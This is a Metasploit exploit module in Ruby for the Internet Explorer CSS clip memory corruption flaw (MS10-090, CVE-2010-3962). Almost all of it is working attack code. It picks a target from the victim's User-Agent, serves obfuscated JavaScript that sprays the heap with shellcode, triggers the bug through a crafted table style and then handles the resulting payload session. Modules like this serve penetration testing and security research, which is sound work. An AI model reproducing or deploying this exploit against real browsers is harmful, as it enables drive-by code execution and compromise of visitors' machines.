MS10-090 Microsoft Internet Explorer CSS SetUserClip Memory Corruption

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  # Unreliable
  #include Msf::Exploit::Remote::BrowserAutopwn
  #autopwn_info({
  #	:ua_name    => HttpClients::IE,
  #	:ua_minver  => "6.0",
  #	:ua_maxver  => "7.0",
  #	:javascript => true,
  #	:os_name => OperatingSystems::Match::WINDOWS,
  #	:vuln_test  => nil, # no way to test without just trying it
  #})

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS10-090 Microsoft Internet Explorer CSS SetUserClip Memory Corruption',
      'Description'    => %q{
          This module exploits a memory corruption vulnerability within Microsoft's
        HTML engine (mshtml). When parsing an HTML page containing a specially
        crafted CSS tag, memory corruption occurs that can lead arbitrary code
        execution.

        It seems like Microsoft code inadvertently increments a vtable pointer to
        point to an unaligned address within the vtable's function pointers. This
        leads to the program counter being set to the address determined by the
        address "[vtable+0x30+1]". The particular address depends on the exact
        version of the mshtml library in use.

        Since the address depends on the version of mshtml, some versions may not
        be exploitable. Specifically, those ending up with a program counter value
        within another module, in kernel space, or just not able to be reached with
        various memory spraying techniques.

        Also, since the address is not controllable, it is unlikely to be possible
        to use ROP to bypass non-executable memory protections.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'unknown',        # discovered in the wild
          'Yuange',         # PoC posted to twitter under @yuange1975
          'Matteo Memelli', # exploit-db version
          'jduck'           # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2010-3962' ],
          [ 'OSVDB', '68987' ],
          [ 'BID', '44536' ],
          [ 'EDB', '15421' ],
          [ 'MSB', 'MS10-090' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00\x09\x0a\x0d'\\",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { } ],

          #
          # Special target, we put it first so its index doesn't change.
          #
          [ 'Debug',
            {
              'Ret' => 0x00010101, # tiny spray, sure to crash :)
            }
          ],

          #
          # In the targets below, 'Ret' means where EIP ends up (not under our control)
          #
          [ 'Internet Explorer 6',
            {
              'Ret' => 0x5c7dc9d0, # mshtml.dll 6.0.2900.3698 @ ?
              #'Ret' => 0x307dc9c5, # mshtml.dll 6.0.2900.5848 @ 0x7dc30000
              #'Ret' => 0x0e7dc9cd, # mshtml.dll 6.0.2900.6036 @ 0x7dc30000
            }
          ],

          [ 'Internet Explorer 7',
            {
              'Ret' => 0x597e85f9, # mshtml.dll 7.0.5730.13 @ 0x7e830000
            }
          ],

          #
          # Although IE8 is affected, we don't currently have a working target for it.
          #
=begin
          [ 'Internet Explorer 8 on Windows 7',
            {
              #'Ret' => 0x396392db, # mshtml.dll 8.0.7600.16671 @ 0x62f90000
              'Ret' => 0x39696cd8, # mshtml.dll 8.0.7600.16671 @ 0x694e0000
              #'Ret' => 0x7a6902d7, # mshtml.dll 8.00.7600.16385 @ 0x68e40000
            }
          ]
=end
        ],
      'DisclosureDate' => '2010-11-03',
      'DefaultTarget'  => 0))
  end

  def auto_target(cli, request)
    mytarget = nil

    agent = request.headers['User-Agent']
    #print_status("Checking user agent: #{agent}")
    if agent =~ /MSIE 6\.0/
      mytarget = targets[2]   # IE6 on NT, 2000, XP and 2003
    elsif agent =~ /MSIE 7\.0/
      mytarget = targets[3]   # IE7 on XP and 2003
=begin
    elsif agent =~ /MSIE 8\.0/ and agent =~ /Windows NT 6\.1/
      mytarget = targets[4]   # IE8 on Windows 7
=end
    else
      print_error("Unknown User-Agent #{agent}")
    end

    mytarget
  end

  def on_request_uri(cli, request)

    mytarget = target
    if target.name == 'Automatic'
      mytarget = auto_target(cli, request)
      if (not mytarget)
        send_not_found(cli)
        return
      end
    end

    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    print_status("Sending #{self.name} (target: #{mytarget.name})")

    # Encode the shellcode
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(mytarget.arch))

    # Set the return\nops
    ret = Rex::Text.to_unescape(make_nops(4))

    # Construct the javascript
    js = <<-EOS
var memory = new Array();
function sprayHeap(shellcode, heapSprayAddr, heapBlockSize) {
var index;
var heapSprayAddr_hi = (heapSprayAddr >> 16).toString(16);
var heapSprayAddr_lo = (heapSprayAddr & 0xffff).toString(16);
while (heapSprayAddr_hi.length < 4) { heapSprayAddr_hi = "0" + heapSprayAddr_hi; }
while (heapSprayAddr_lo.length < 4) { heapSprayAddr_lo = "0" + heapSprayAddr_lo; }
var retSlide = unescape("#{ret}");
while (retSlide.length < heapBlockSize) { retSlide += retSlide; }
retSlide = retSlide.substring(0, heapBlockSize - shellcode.length);
var heapBlockCnt = (heapSprayAddr - heapBlockSize)/heapBlockSize;
for (index = 0; index < heapBlockCnt; index++) { memory[index] = retSlide + shellcode; }
}
var shellcode = unescape("#{shellcode}");
sprayHeap(shellcode, #{mytarget.ret}, 0x400000 - (shellcode.length + 0x38));
document.write("<table style=position:absolute;clip:rect(0)>");
EOS
    opts = {
      'Symbols' => {
        'Variables' => %w{ shellcode retSlide payLoadSize memory index
          heapSprayAddr_lo heapSprayAddr_hi heapSprayAddr heapBlockSize
          heapBlockCnt },
        'Methods'   => %w{ sprayHeap }
      }
    }
    js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
    #js.obfuscate(memory_sensitive: true)

    # Construct the final page
    html = <<-EOS
<html>
<body>
<script language='javascript'>
#{js}
</script>
</body>
</html>
EOS

    # Transmit the compressed response to the client
    send_response(cli, html, { 'Content-Type' => 'text/html' })

    # Handle the payload
    handler(cli)

  end
end